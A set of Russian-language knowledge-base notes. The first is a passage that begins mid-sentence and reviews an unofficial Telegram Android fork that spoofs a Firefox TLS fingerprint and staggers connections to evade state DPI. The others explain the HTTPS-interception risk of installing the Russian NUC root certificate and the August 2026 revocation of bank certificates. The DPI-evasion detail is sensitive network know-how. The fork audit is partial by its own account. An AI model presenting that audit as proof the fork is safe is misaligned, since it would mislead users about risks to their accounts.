«запускать со своим аккаунтом можно» — условный, с поправкой на доверие к автору форка. Главная защита: **APK собираешь из исходников сам**, готового бинарника для подмены нет. --- ## TL;DR 1. Это **официальный Telegram для Android** + **ровно один** коммит автора (Pavel/tsrman) поверх миррора, синхронизирующего версии (на момент проверки — Telegram 12.7.3). 2. Коммит меняет 3 файла в нативном MTProto-слое (`TMessagesProj/jni/tgnet/`): новый Firefox-подобный FakeTLS-ClientHello (JA4 `t13d1616h2_86a278354501_eeeea6562960`), случайная задержка 500–1000 мс между подключениями к прокси, ленивое создание push-соединения. 3. По логике детекции (модель из трёх условий — наблюдения сообщества, см. [[mtproxy/ja4-sni-client-side|заметку-источник]], а не спецификация ТСПУ) это удар по **двум** из трёх условий: меняет **JA4** (условие 1) и ломает **«залп на один ip:port»** (условие 3). Ротацию **SNI** (условие 2) он не делает — SNI задаётся `ee`-секретом прокси. 4. Заодно обновляется узнаваемый старый отпечаток (та же болезнь протухшего почерка, что в [[Zapret/mtproto/10-telemt-logs-dpi|#30733]] у Telegram Desktop): вместо него отправляется свежий Firefox-подобный. 5. Проверка безопасности: в дельте автора не нашлось утечек или чужих адресов, база — подлинный Telegram. Это **неофициальный форк** — доверие к автору и отставание от security-патчей официального клиента остаются на тебе. 6. Только **Android**; собирается из исходников (Android Studio или Dockerfile), нужен свой `api_id`/`api_hash`. --- ## Что именно меняет автор Вся собственная дельта форка — один коммит (`9fe18931d`, «Изменен FakeTLS на 'JA4.1'… добавлена случайная задержка подключения к MTProto»), три файла: | Файл | Изменение | Зачем | |---|---|---| | `jni/tgnet/ConnectionSocket.cpp` | Новый шаблон `getFirefoxDefault()` — FakeTLS-ClientHello под отпечаток Firefox (GREASE, TLS 1.3 cipher-suites, ALPN `h2`/`http/1.1`, `key_share`); замена `getDefault()` → `getFirefoxDefault()` | Сменить **JA4** Telegram на браузерный (условие 1 детекта) | | `jni/tgnet/ConnectionSocket.cpp` | «Jitter»: если предыдущий коннект к прокси был <1200 мс назад — пауза 500–1000 мс | Размыть **«залп на один ip:port»** (условие 3 детекта) | | `jni/tgnet/ConnectionsManager.cpp` | Push-соединение создаётся лениво (через `select()`), а не разом на старте | Меньше одновременных коннектов = меньше похоже на залп | | `jni/tgnet/Connection.cpp` | Добавлена пустая строка | No-op | > [!note] SNI он не ротирует — и это ожидаемо > Из трёх условий детекции (JA4 + одинаковый SNI + залп) форк бьёт по первому и третьему. Ротация **SNI** осталась за бортом, потому что в FakeTLS имя домена задаётся `ee`-секретом прокси (`tls_domain`), а не клиентом «из воздуха» — подробнее про это разделение в [[mtproxy/ja4-sni-client-side|заметке про клиентскую сторону JA4/SNI]]. Чтобы менять SNI, нужно подключаться к разным секретам/доменам. > [!warning] Два нюанса полноты > Новый JA4 (`t13d1616h2_86a278354501_eeeea6562960`) **жёстко зашит** в `getFirefoxDefault()` — он одинаков у всех пользователей форка и статичен между версиями. То есть это не ротация почерка, а замена одного статичного отпечатка на другой: свежее и не «телеграмное», но при массовом использовании сам по себе тоже становится узнаваемым маркером. Кроме того, использование неофициального клиента со сторонними `api_id`/`api_hash` несёт отдельный риск — Telegram может ограничить или забанить аккаунт либо сами api-ключи. --- ## Где он в ряду клиентских решений Тезис «JA4 меняет только клиент» теперь имеет три разных воплощения — `tsrman/tg` закрывает нишу «готовое приложение»: | Решение | Что это | Удобство | Платформа | |---|---|---|---| | [Тестовый relay Flowseal](https://gist.github.com/Flowseal/de630dd9d9ddaa86cc6bed9b473fae0c) | Локальный relay перед штатным клиентом | Возня с прослойкой | любая (где Telegram→localhost) | | [[mtproxy/tdlib-obf-client-side-stealth\|tdlib-obf]] | Форк **библиотеки** TDLib — клиент пишешь сам | Нужно писать/собирать клиент | где соберёшь libtdjson | | **tsrman/tg** | Форк **готового приложения** Telegram for Android | Собрал APK из исходников — и работает | только Android | Все трое делают одно и то же по сути: строят свежий браузерный ClientHello на стороне клиента, до цензора. Разница — в форм-факторе. --- ## Безопасность: что проверено > [!warning] Почему это важно проверять > Любой неофициальный форк мессенджера получает доступ к твоему аккаунту: телефон, код входа, сессия, переписка. Подменённый клиент или троянизированная сборка могли бы всё это слить. Поэтому проверка — не формальность. Методика и находки (проверка по git, июнь 2026): - **Поверхность дельты мала и видна целиком.** Автор добавил *один* коммит поверх дерева официального Telegram. Всё, что он привнёс, — 3 файла выше. Ни нового сетевого адреса, ни доступа к учётным данным/сессии/сообщениям, ни телеметрии, ни обфускации. - **Подозрительный IP оказался штатным.** Единственный «чужой» публичный адрес в коде — `95.161.76.100:443` — это bootstrap-адрес дата-центра №2 Telegram, добавленный **самим DrKLO в 2020** (подтверждено `git blame`), а не автором форка. - **База — подлинный официальный Telegram.** В истории файлов присутствуют настоящие коммиты DrKLO; один из них (`dceccae0b74576d092fb3b2accaffded2c0b5f63`) **успешно дотягивается из официального репозитория DrKLO/Telegram по полному SHA** — а раз SHA коммита есть в официальном дереве, значит история **до этой точки** идентична и не подменена. (Это не проверяет автоматически каждый из ~210 более поздних синк-коммитов — см. оговорки ниже.) - **Цепочка сборки чистая.** `Dockerfile` скачивает только официальный Android SDK/NDK от Google; никаких `curl | bash` чужих скриптов. `gradle-wrapper.jar` — стандартный (≈59 КБ), менялся только в штатном «gradle wrapper update». - **Готового APK нет — собираешь сам.** То, что ты запустишь, и есть отревьюенный исходник (плюс официальный код Telegram и SDK от Google). Это сильное свойство: нечего троянизировать в обход. > [!warning] Остаточные оговорки (чего проверка НЕ покрывает) > Полностью отревьюен **коммит автора** и подтверждена общая история с официальным Telegram. НЕ делался построчный diff всех ~210 синк-коммитов миррора (бампы версий; из них авторства Arseny271 лишь 36, остальное — официальные разработчики Telegram: xaxtix, DrKLO, dkaraush) против официальных релиз-тегов — теоретически в базе можно спрятать правку, но SHA-совпадение и авторство DrKLO в критичных файлах делают это маловероятным. Кроме того: это **неофициальный форк** — будущие обновления и своевременность security-патчей зависят от автора; собирать нужно со **своими** `api_id`/`api_hash` (вложенные keystore/google-services — заглушки официального Telegram для reproducible builds). --- ## Как использовать - [ ] Получить `api_id`/`api_hash` на [my.telegram.org](https://my.telegram.org) и вписать в `BuildVars.java`. - [ ] Собрать APK: либо в Android Studio (нужны Android NDK и SDK), либо через вложенный `Dockerfile` (он гоняет gradle-сборку bundle и APK варианта Afat). - [ ] Подставить свой `release.keystore` (вложенный — заглушка). - [ ] В настройках приложения добавить **MTProto-прокси с FakeTLS-секретом** (`ee…`) — именно к нему применяется браузерный ClientHello. Свой прокси можно поднять на [[mtproxy/mtproto-zig|mtproto.zig]] / telemt / mtg вне зоны блокировки. > [!important] Что это даёт и чего не даёт > Даёт: свежий браузерный JA4 вместо протухшего Telegram-почерка + разнесённые во времени коннекты — то есть слом двух из трёх условий детекта. Не даёт: ротацию SNI и **полную L7-неотличимость** — после TLS-рукопожатия по-прежнему идёт сырой MTProto, а не настоящий браузерный HTTP (то же ограничение, что у [[mtproxy/tdlib-obf-client-side-stealth|tdlib-obf]]). --- ## 📚 См. также - [[mtproxy/ja4-sni-client-side|Почему обход MTProxy клиентский (JA4/SNI)]] — тезис, который этот форк воплощает; разбор детекции из трёх условий - [[mtproxy/tdlib-obf-client-side-stealth|tdlib-obf — клиентский TDLib с маскировкой JA4]] — родственный клиентский подход на уровне библиотеки (а не готового приложения) - [[Zapret/mtproto/10-telemt-logs-dpi|Чтение логов telemt и #30733]] — протухший JA4 официального клиента, который этот форк обновляет - [[mtproxy/telegram-wss-transport|WSS: MTProto внутри WebSocket]] — другой форк Telegram для Android (ZaStoGram) решает ту же задачу иначе: не меняет TLS-почерк, а уводит соединение на веб-релеи Telegram - [[mtproxy/mtproto-zig|MTProxy и mtproto.zig]] — серверная сторона FakeTLS-прокси, к которой подключается клиент - [[Zapret/mtproto/00-overview|MTProto Proxy — полный гайд]] — общий обзор экосистемы - 🔗 [tsrman/tg на GitHub](https://github.com/tsrman/tg) — исходники форка - 🔗 [DrKLO/Telegram](https://github.com/DrKLO/Telegram) — официальная база, против которой проверялась подлинность --- --- title: "🏛️ Сертификаты Минцифры (НУЦ): что это, зачем их навязывают и чем опасна установка" date: 2026-08-04 tags: - mincifry - nuc - tls - certificates - mitm - censorship - index aliases: - Сертификаты Минцифры — обзор раздела - НУЦ — оглавление - Российские сертификаты безопасности — что это - Russian Trusted Root CA обзор link: https://www.gosuslugi.ru/crt --- # 🏛️ Сертификаты Минцифры (НУЦ): что это, зачем их навязывают и чем опасна установка ![[nuc-certs-overview-header.webp]] > [!info] О чём раздел > Обзор и точка входа в тему «российских сертификатов безопасности» — TLS-сертификатов государственного Национального удостоверяющего центра (НУЦ) Минцифры. Здесь кратко: откуда они взялись, почему государство подталкивает к установке корня и в чём структурная опасность этого шага. Детали разнесены по заметкам раздела (список ниже): модель угроз перехвата, проверка и удаление корня со своих устройств, безопасная изоляция для тех, кому госсайты нужны, ГОСТ-шифрование как следующий уровень и встроенное доверие в отечественных браузерах. ## TL;DR - «Сертификат Минцифры» — это TLS-сертификат от государственного удостоверяющего центра (НУЦ), чей корень с 2022 года так и не признан ни Apple, ни Google, ни Microsoft, ни Mozilla. Поэтому его предлагают ставить на устройство вручную — либо пользоваться браузерами, где он [[nuc/embedded-trust|встроен из коробки]]. - Вручную установленный корень может удостоверить **любой** сайт, а весь трафик в стране уже проходит через операторское оборудование фильтрации ([[DPI/post-pochemu-legli-ru-sajty-iyun-2026|ТСПУ]]). Вместе это даёт техническую возможность незаметного перехвата HTTPS — подробный разбор в [[nuc/nuc-root-mitm-threat-model|модели угроз корня НУЦ]]. - Поддельные сертификаты от вручную добавленного корня **не попадают в публичные логи Certificate Transparency** — внешний контроль, который ловит подлог у обычных УЦ, на него не действует. - Проверить, стоит ли корень НУЦ у тебя (в том числе незаметно для тебя), и снять его — [[nuc/check-remove|отдельная пошаговая инструкция]]. - Если сайт с сертификатом НУЦ нужен по жизни (госпортал, банк) — корень в систему ставить не обязательно: есть [[nuc/safe-usage|способы изолировать доверие]] в отдельном браузере или профиле. - «Вариант с шифрованием по ГОСТ» — более глубокий уровень зависимости: не только чужой «нотариус», но и чужой криптостек с закрытым ПО ([[nuc/gost-tls|ГОСТ-TLS и КриптоПро]]). ## Что такое НУЦ и откуда взялись «сертификаты Минцифры» Чтобы браузер показал замочек, сайту нужен TLS-сертификат — цифровое удостоверение от центра, которому браузер доверяет (УЦ, удостоверяющий центр). Весной 2022 года западные УЦ начали отказывать подсанкционным российским организациям в выпуске и продлении сертификатов, и сайты банков стали встречать посетителей красным предупреждением. В ответ Минцифры 10 марта 2022 открыло на «Госуслугах» бесплатную выдачу отечественных TLS-сертификатов от своего Национального удостоверяющего центра — НУЦ (сам центр в промышленной эксплуатации с 2021 года). Официально их называют «российскими сертификатами безопасности», «сертификатами безопасности» или просто «сертификатами Минцифры» — это всё одно и то же. Полная история кризиса — в статье [[nuc/mincifry-nuc-certs-danger-june-2026|«Почему сертификаты Минцифры (НУЦ) опасны»]]. Загвоздка в том, что корень НУЦ так и не попал в списки доверия Apple, Google, Microsoft и Mozilla — мировые браузеры ему не верят. Поэтому сайт с сертификатом НУЦ в обычном Chrome или Firefox всё равно даёт красный экран, и государство предлагает пользователю два пути: поставить корневой и выпускающий сертификаты НУЦ на устройство вручную (инструкции — на [Госуслугах](https://www.gosuslugi.ru/crt) и у Сбербанка) либо пользоваться «Яндекс Браузером» или «Атомом», где доверие [[nuc/embedded-trust|встроено]]. Проще говоря: государство создало собственного «нотариуса», мировые браузеры отказались вносить его в списки доверенных, и теперь каждого пользователя уговаривают внести его в доверенные самостоятельно — на своём устройстве. ## В чём опасность — коротко Корневой сертификат в хранилище доверия — это не «доступ к одному госсайту». Доверенный корень может выписать «настоящий» сертификат на **любой** домен: `sberbank.ru`, `google.com`, твою почту. У обычных публичных УЦ такой подлог ловится внешним контролем — обязательной публикацией каждого сертификата в открытые логи Certificate Transparency и надзором браузеров. Но на вручную установленный корень эти механизмы **не распространяются**: подделка от него не видна ни в каких публичных логах и не вызывает предупреждений. Сложи это с тем, что весь российский трафик проходит через [[DPI/post-pochemu-legli-ru-sajty-iyun-2026|ТСПУ]], — и получается готовый рычаг для прозрачного перехвата HTTPS (MITM, «человек посередине»): переписка, пароли, банк — с зелёным замочком на подделке. Конкретные атаки, прецеденты (DigiNotar 2011, государственный корень Казахстана 2019–2023) и то, чего перехват не может, — в [[nuc/nuc-root-mitm-threat-model|модели угроз]]. > [!warning] Возможность ≠ доказанное злоупотребление > На август 2026 публичных доказательств массового перехвата трафика через корень НУЦ нет. Опасность структурная: устанавливая корень, ты расширяешь полное доверие на центр, который подчинён национальной юрисдикции, может быть принуждён законом и не проходит внешний аудит, обязательный для публичных УЦ. Один раз согласился — и дальше остаётся только верить. ## Состояние на август 2026: давление растёт Тема перестала быть теоретической. В июне 2026 GlobalSign — последний крупный западный УЦ, обслуживавший россиян, — начал отзывать сертификаты по правилам CA/Browser Forum (по оценкам рынка — порядка 15–20 тыс. доменов), а Let's Encrypt отказал в выпуске госмессенджеру MAX по санкциям США; хроника — в [[nuc/mincifry-nuc-certs-danger-june-2026|большой статье]]. Чем меньше у российских сайтов остаётся западных вариантов, тем сильнее их подталкивает к НУЦ — а вместе с ними и пользователей к установке корня. Параллельно Минцифры обсуждает с хостерами контроль «белых списков» IP-адресов ([[DPI/mincifry-whitelist-vpn-hosting-august-2026|фактчек новости от 3 августа 2026]]) — общая линия на управляемый изнутри интернет, в которой национальный корень доверия — один из кирпичей. 3 августа 2026 давление стало по-настоящему массовым: китайский УЦ TrustAsia отозвал сертификаты у доменов крупнейших банков, и Сбербанк, ВТБ, Россельхозбанк, Т-Банк и другие перешли на сертификаты НУЦ — их сайты перестали открываться в Chrome, Safari и Edge. Красный экран теперь видят не посетители госпорталов, а десятки миллионов клиентов банков, которым государство предлагает «решение» — поставить корень. Почему даже китайский УЦ подчинился западному комплаенсу и что делать пользователю — в [[nuc/banks-nuc-certs-august-2026|разборе события]]. Одновременно достраивается нормативная база. 26 июня 2026 подписан закон № 210-ФЗ (в СМИ его называют «антифрод-2»), закрепляющий за НУЦ роль издателя публичных TLS-сертификатов в России; по статье 11 этого закона нормы о полномочиях НУЦ (поправки в 63-ФЗ «Об электронной подписи») вступают в силу с 1 марта 2027, а отдельное положение — с 1 января 2028. Тем же законом с 1 марта 2027 вводится обязанность банков искать вредоносное ПО на устройстве клиента и отказывать в переводе при его обнаружении — разбор в заметке [[banks-malware-scan-2027|о проверке устройства клиента банком]]. По сообщениям СМИ (CNews, июль 2026), готовится и реестр российских браузеров, разработчики которых будут **обязаны** встраивать сертификаты НУЦ, — то есть [[nuc/embedded-trust|встроенное доверие]] из добровольной практики двух вендоров превращается в обязанность. Отраслевая пресса (ComNews, 27 июля 2026) пишет, что «отечественный домен доверия» для TLS и подписи кода (Code Signing) разрабатывается «в авральном режиме». Направление движения читается однозначно: национальный корень из «костыля для подсанкционных» становится штатной частью рунета — и давление на пользователя ставить его будет только расти. ## Заметки раздела Все заметки по теме собраны в этой папке; общий контекст инфраструктуры цензуры — в разделе [[DPI/ru-network-blocklists|DPI]]: - [[nuc/check-remove|Как проверить, установлен ли корень НУЦ, и как его удалить]] — пошагово для Windows, macOS, Linux, Android, iOS и браузеров, включая проверку без копания в настройках. - [[nuc/safe-usage|Как пользоваться сайтами с сертификатом Минцифры, не ставя корень в систему]] — изоляция доверия: отдельный браузер, отдельный профиль Firefox, точечные исключения, виртуалка. - [[nuc/gost-tls|ГОСТ-TLS и КриптоПро]] — чем «вариант с шифрованием по ГОСТ» отличается от обычного корня НУЦ и почему это более глубокий уровень зависимости. - [[nuc/embedded-trust|Где доверие НУЦ уже встроено]] — «Яндекс Браузер», «Атом», предустановка российского ПО и что из этого следует. - [[nuc/banks-nuc-certs-august-2026|3 августа 2026: TrustAsia отозвала сертификаты у банков]] — разбор события: семь банков на НУЦ, почему китайский УЦ подчинился санкциям и что делать пользователю. - [[nuc/mincifry-nuc-certs-danger-june-2026|Почему сертификаты Минцифры (НУЦ) опасны]] — большая статья: кризис доверия, хроника MAX, рынок УЦ, сценарии ответа властей. - [[nuc/nuc-root-mitm-threat-model|Модель угроз корня НУЦ]] — что технически возможно через доверенный государственный корень: атаки, прецеденты, ограничения — и почему обычному гражданину РФ его ставить нельзя. - [[nuc/post-cert-danger-kratko-june-2026|Замочек погас — коротко]] — сжатая версия для широкой аудитории. ## Что делать — короткий чек-лист - [ ] [[nuc/check-remove|Проверить]], не стоит ли корень НУЦ на твоих устройствах — особенно если когда-то ставил «по инструкции банка» или пользовался чужим компьютером. - [ ] Не ставить корень НУЦ в системное хранилище без острой необходимости. - [ ] Если госсайты нужны — [[nuc/safe-usage|изолировать доверие]] в отдельном браузере или профиле, а не отдавать весь HTTPS-трафик устройства. - [ ] Понимать пределы: пиннинг сертификатов и сквозное шифрование перехват не вскрывает — подробнее в [[nuc/nuc-root-mitm-threat-model|модели угроз]]. ## 📚 См. также - [[Cybersecurity]] — общая подборка материалов по кибербезопасности - [[banks-malware-scan-2027|Проверка устройства клиента банком с 1 марта 2027]] — тот же закон № 210-ФЗ с другой стороны: поиск вредоносного ПО на телефоне, согласие клиента и ограничение разрешений - [[Белые списки]] — как устроены перечни исключений и «разрешённого» в рунете - [[VLESS/dpi-tls-june-2026|Сибирская схема: подсеть + фингерпринт + частота]] — как ТСПУ анализирует TLS-трафик - 🔗 [Госуслуги: российские сертификаты безопасности](https://www.gosuslugi.ru/crt) — официальные инструкции по установке (то, от чего эта папка предостерегает) - 🔗 [Минцифры: о сертификатах безопасности](https://digital.gov.ru/activity/kiberbezopasnost/sertifikaty-bezopasnosti) — официальная страница НУЦ - 🔗 [ComNews, 27 июля 2026: зарубежные УЦ отзывают SSL-сертификаты](https://www.comnews.ru/content/246569/2026-07-27/2026-w31/1008/sertifikat-byl-i-sovest-ischezla-zarubezhnye-uc-otzyvayut-ssl-sertifikaty) — источник про закон № 210-ФЗ и «домен доверия» - 🔗 [CNews: ФСБ создаст реестр браузеров с обязательными сертификатами НУЦ](https://zoom.cnews.ru/news/item/697498) — источник про будущий реестр браузеров --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/00-overview.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - mincifry - nuc - tls - certificates - banks - sanctions aliases: - Отзыв сертификатов TrustAsia у банков - Банки перешли на сертификаты НУЦ август 2026 - Почему Сбербанк не открывается в Chrome - TrustAsia отзыв 3 августа 2026 link: https://zona.media/news/2026/08/03/tls --- # 🏦 3 августа 2026: TrustAsia отозвала сертификаты у российских банков — и те перешли на НУЦ > [!info] О чём заметка > Разбор события 3 августа 2026 года: китайский удостоверяющий центр TrustAsia Technologies отозвал TLS-сертификаты у доменов крупнейших российских банков, после чего Сбербанк, ВТБ, Россельхозбанк, Т-Банк и другие перешли на сертификаты государственного НУЦ (Национального удостоверяющего центра Минцифры) — и их сайты перестали открываться в Chrome, Safari и Edge. Здесь: хроника, список банков, разбор главного вопроса «почему китайский УЦ отозвал так быстро» и что это значит для обычного пользователя. Что такое сертификаты НУЦ и почему их корень опасно ставить — в [[nuc/00-overview|обзоре раздела]]. ## TL;DR - До 31 июля 2026 сайты крупнейших российских банков работали на сертификатах китайского УЦ TrustAsia; 3 августа зафиксирован массовый отзыв этих сертификатов (по сообщениям «Медиазоны» и «Фонтанки»). - На сертификаты НУЦ перешли, по сообщениям СМИ, семь банков: Сбербанк, ВТБ, Россельхозбанк, Т-Банк, Уралсиб, Промсвязьбанк и банк «Санкт-Петербург». Т-Банк перевёл только `tinkoff.ru`, а основной `tbank.ru` остался на Let's Encrypt. - Итог для пользователей: сайты этих банков показывают «Подключение не защищено» в Chrome, Safari и Edge; открываются без предупреждений — в «Яндекс Браузере» и «Атоме» со [[nuc/embedded-trust|встроенным доверием НУЦ]]. - TrustAsia публичных объяснений не дала. «Китайский» УЦ не значит «независимый от Запада»: бизнес любого публичного УЦ держится на доверии браузеров Apple/Google/Microsoft/Mozilla, и ради него УЦ соблюдают и правила CA/Browser Forum, и западный санкционный комплаенс. - Это первый случай, когда давление ставить корень НУЦ переходит с госсайтов на банки, которыми пользуются десятки миллионов. Ставить корень всё равно [[nuc/nuc-root-mitm-threat-model|нельзя]] — банковский сайт открывается и через [[nuc/safe-usage|изолированный «гос-браузер»]], а приложения банков работают как работали. ## Хроника: от TrustAsia к НУЦ за одни выходные Ещё 31 июля 2026 сайты крупнейших российских банков предъявляли TLS-сертификаты TrustAsia Technologies — китайского удостоверяющего центра, к которому банки ушли после [[nuc/mincifry-nuc-certs-danger-june-2026|июньской волны отзывов]] (GlobalSign, отказ Let's Encrypt мессенджеру MAX). 3 августа «Медиазона» и профильные ресурсы зафиксировали массовый отзыв сертификатов TrustAsia у доменов и поддоменов Сбербанка, ВТБ, Т-Банка, Совкомбанка, Промсвязьбанка, Россельхозбанка и других финансовых организаций. В тот же день сайты семи банков — Сбербанка, ВТБ, Россельхозбанка, Т-Банка, Уралсиба, Промсвязьбанка и банка «Санкт-Петербург» — уже работали на сертификатах НУЦ Минцифры (по сообщениям «Медиазоны» и «Новой газеты Европа», 3 августа 2026; «Фонтанка» в своём списке называет также Альфа-Банк). Показательная деталь: Т-Банк перевёл на российский сертификат только домен `tinkoff.ru`, а основной `tbank.ru` продолжил работать на сертификате Let's Encrypt — то есть где западный вариант ещё жив, банк предпочитает его. Для посетителей это выглядело как поломка: Chrome, Safari и Edge встречают сайты банков экраном «Подключение не защищено», потому что корня НУЦ в их списках доверия нет ([[nuc/00-overview|почему его там нет]]). Без предупреждений сайты открываются в «Яндекс Браузере» и «Атоме», где доверие [[nuc/embedded-trust|встроено производителем]], — и Минцифры ещё в конце июля советовало пользователям устанавливать отечественные сертификаты (по сообщению «Фонтанки»). ## Почему «китайский» УЦ отозвал так быстро > [!warning] Это анализ, а не заявление TrustAsia > На дату заметки (4 августа 2026) TrustAsia причин отзыва публично не объяснила, поэтому связать его с конкретным требованием, утечкой или компрометацией ключей нельзя. Ниже — реконструкция вероятных мотивов по устройству отрасли и по аналогии с задокументированными случаями GlobalSign и Let's Encrypt ([[nuc/mincifry-nuc-certs-danger-june-2026|июнь 2026]]). Интуиция «китайская компания не обязана слушаться западных санкций» не учитывает, на чём вообще стоит бизнес публичного удостоверяющего центра. Продукт УЦ — не сертификат, а **доверие браузеров**: сертификат чего-то стоит, только пока корень УЦ включён в списки доверия Apple, Google, Microsoft и Mozilla. Эти четыре компании — американские, их корневые программы требуют соблюдения правил CA/Browser Forum, и за нарушения УЦ исключают из доверия целиком, как это произошло с Entrust в 2024–2025 ([[nuc/mincifry-nuc-certs-danger-june-2026#Мировой рынок УЦ и его зависимость от бигтеха|подробнее о рынке УЦ]]). Для TrustAsia обслуживание подсанкционных российских банков — это риск всего бизнеса ради ничтожной доли выручки; исторически заметная часть публичных сертификатов TrustAsia к тому же выпускалась в партнёрстве с западными УЦ, что делает зависимость ещё прямее. Проще говоря: у «китайского» УЦ рубильник доверия находится в тех же четырёх западных компаниях, что и у всех остальных. Китайская прописка не даёт иммунитета — она лишь означает, что решение о комплаенсе принимают в Шанхае, а не в Брюсселе, но принимают то же самое. Второй слой — вторичные санкции США. Китайские компании с глобальным рынком системно избегают операций с подсанкционными российскими структурами: с 2024 года это хорошо задокументировано на примере китайских банков, отказывающих российским клиентам в расчётах (по многочисленным сообщениям деловых СМИ). УЦ здесь не исключение: «оказание услуг» подсанкционному лицу — ровно та формулировка, за которую Let's Encrypt в июне 2026 отказал MAX. Третий слой объясняет саму скорость. Сертификаты банкам, по всей видимости, выпускались автоматически как DV (Domain Validation — проверяется только контроль над доменом, а не юрлицо за ним; та же механика, что в [[nuc/mincifry-nuc-certs-danger-june-2026|истории ВТБ и HARICA в июне 2026]]) — санкционный статус клиента при выпуске просто не всплыл. Но правила CA/Browser Forum (Baseline Requirements) требуют от УЦ отзывать сертификат в короткий срок — от 24 часов до 5 суток в зависимости от основания, — если выясняется, что выпуск противоречил политике самого УЦ. После июльского скандала вокруг HARICA (см. ниже) исследователи начали методично сверять сертификаты российских банков со санкционными списками, и как только выпуски TrustAsia попали в поле зрения, у центра осталось два пути: отозвать быстро по собственной политике или объяснять браузерам, почему он этого не делает. TrustAsia выбрала первый. ## Контраст: HARICA отзывать отказалась Отзыв — не автоматика, а решение конкретного УЦ, и июль 2026 дал обратный пример. Греческий УЦ HARICA, куда после июньских отзывов ушли Газпромбанк, Сбербанк, ВТБ и другие, в середине июля получил формальные жалобы (Certificate Problem Reports) от исследователя с требованием отозвать сертификаты подсанкционных организаций — и отказался (по разбору SSL Calendar и обсуждению в Bugzilla Mozilla, июль 2026). Аргумент HARICA: DV-сертификат подтверждает только контроль над доменом, а не личность организации, поэтому санкционную проверку УЦ проводить не обязан и будет действовать лишь по указанию «компетентного надзорного или правоохранительного органа». Критики возражали, что регламент ЕС 269/2014 запрещает оказывать услуги фигурантам списков независимо от типа сертификата. Вывод из пары «HARICA не отозвала — TrustAsia отозвала»: у каждого УЦ свой аппетит к риску, но направление у беговой дорожки одно. Пока юристы спорят о DV-тонкостях, каждый следующий УЦ под давлением сообщества и санкционных списков сходит с дистанции — GlobalSign в июне, TrustAsia в августе, — и каждый сход толкает банки ровно туда, куда ведёт [[nuc/mincifry-nuc-certs-danger-june-2026#Пять сценариев ответа российских властей|сценарий 2 из большой статьи]]: на сертификаты НУЦ. ## Что это значит для пользователя Главный сдвиг — масштаб. Одно дело — госпортал, на который заходят по необходимости, другое — банки, которыми десятки миллионов пользуются ежедневно. Теперь красный экран в Chrome видит массовый пользователь, и государственное «решение» — поставить корень НУЦ или перейти в «Яндекс Браузер» — впервые получает по-настоящему массовую аудиторию. Именно поэтому стоит держать в голове: предупреждение браузера на сайте банка — это не поломка, которую надо «починить» установкой корня, а честное сообщение, что издателю сертификата браузер не доверяет. Чем опасна установка корня в систему — [[nuc/nuc-root-mitm-threat-model|модель угроз]], в том числе [[nuc/nuc-root-mitm-threat-model#Почему это опасно именно для обычного гражданина РФ|глава про риски для обычного гражданина]]. Практические шаги: - [ ] Не ставить корень НУЦ в систему. Если банк нужен через веб — открывать его в [[nuc/safe-usage|изолированном «гос-браузере» или отдельном профиле]]; мобильные приложения банков работают как работали (у них своя проверка сертификатов, часто с пиннингом). - [ ] Помнить про `tbank.ru`: основной домен Т-Банка на 4 августа 2026 остаётся на Let's Encrypt и открывается везде — пример того, что «все банки уже на НУЦ» пока преувеличение. - [ ] Проверить, кто издал сертификат конкретного сайта, прежде чем что-то «чинить»: замочек в адресной строке → «Сведения о сертификате» → Издатель (`Russian Trusted Sub CA` = сертификат НУЦ); команда для терминала — в [[nuc/check-remove#Быстрая проверка без настроек: тестовый сайт|инструкции проверки]]. - [ ] Если корень когда-то уже поставлен (сам, «по инструкции банка», настройщиком) — [[nuc/check-remove|найти и удалить]], доступ к банкам от этого не пропадёт: изоляция закрывает ту же задачу безопаснее. ## 📚 См. также - [[nuc/00-overview|Обзор раздела: сертификаты Минцифры (НУЦ)]] — что это такое, закон № 210-ФЗ и реестр браузеров - [[nuc/mincifry-nuc-certs-danger-june-2026|Почему сертификаты Минцифры (НУЦ) опасны]] — предыстория: июньская волна отзывов, хроника MAX, рынок УЦ, сценарии властей - [[nuc/nuc-root-mitm-threat-model|Модель угроз корня НУЦ]] — почему корень нельзя ставить, даже когда «банк не открывается» - [[nuc/safe-usage|Изоляция доверия]] — как открывать банк с сертификатом НУЦ без корня в системе - [[banks-malware-scan-2027|Банки начнут проверять устройство клиента с 1 марта 2027]] — другая норма того же закона № 210-ФЗ: поиск вредоносного ПО на телефоне, отказ в переводе и как ограничить доступ приложения к устройству - 🔗 [«Медиазона»: сайты семи банков перешли на сертификаты Минцифры (3 августа 2026)](https://zona.media/news/2026/08/03/tls) — фиксация отзыва TrustAsia и списка банков - 🔗 [«Фонтанка»: почему сайты банков перестали открываться в зарубежных браузерах (3 августа 2026)](https://www.fontanka.ru/2026/08/03/76568852/) — список банков, реакция браузеров, совет Минцифры ставить сертификаты - 🔗 [SSL Calendar: HARICA отказалась отзывать сертификаты подсанкционных банков (июль 2026)](https://sslcalendar.com/blog/harica-sanctioned-bank-certificates-july-2026/) — контраст-кейс и хронология июньских отзывов GlobalSign - 🔗 [Bugzilla Mozilla: жалоба на HARICA по подсанкционным организациям](https://bugzilla.mozilla.org/show_bug.cgi?id=2049237) — первичное обсуждение позиции HARICA --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/nuc/banks-nuc-certs-august-2026.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-04 tags: - mincifry - nuc - tls - certificates - howto - windows - android - ios aliases: - Проверка корня НУЦ - Как удалить сертификат Минцифры - Russian Trusted Root CA как найти и удалить - Стоит ли у меня российский сертификат безопасности link: https://www.gosuslugi.ru/crt --- # 🔎 Как проверить, установлен ли корень НУЦ, и как его удалить > [!info] О чём заметка > Пошаговая проверка всех основных платформ (Windows, macOS, Linux, Android, iOS) и браузеров на присутствие корневого сертификата государственного НУЦ (Национального удостоверяющего центра Минцифры) — и удаление, если он найден. Зачем вообще его искать и чем он опасен — в [[nuc/00-overview|обзоре раздела]] и в [[nuc/nuc-root-mitm-threat-model|модели угроз корня НУЦ]]. ## TL;DR - Искать нужно два 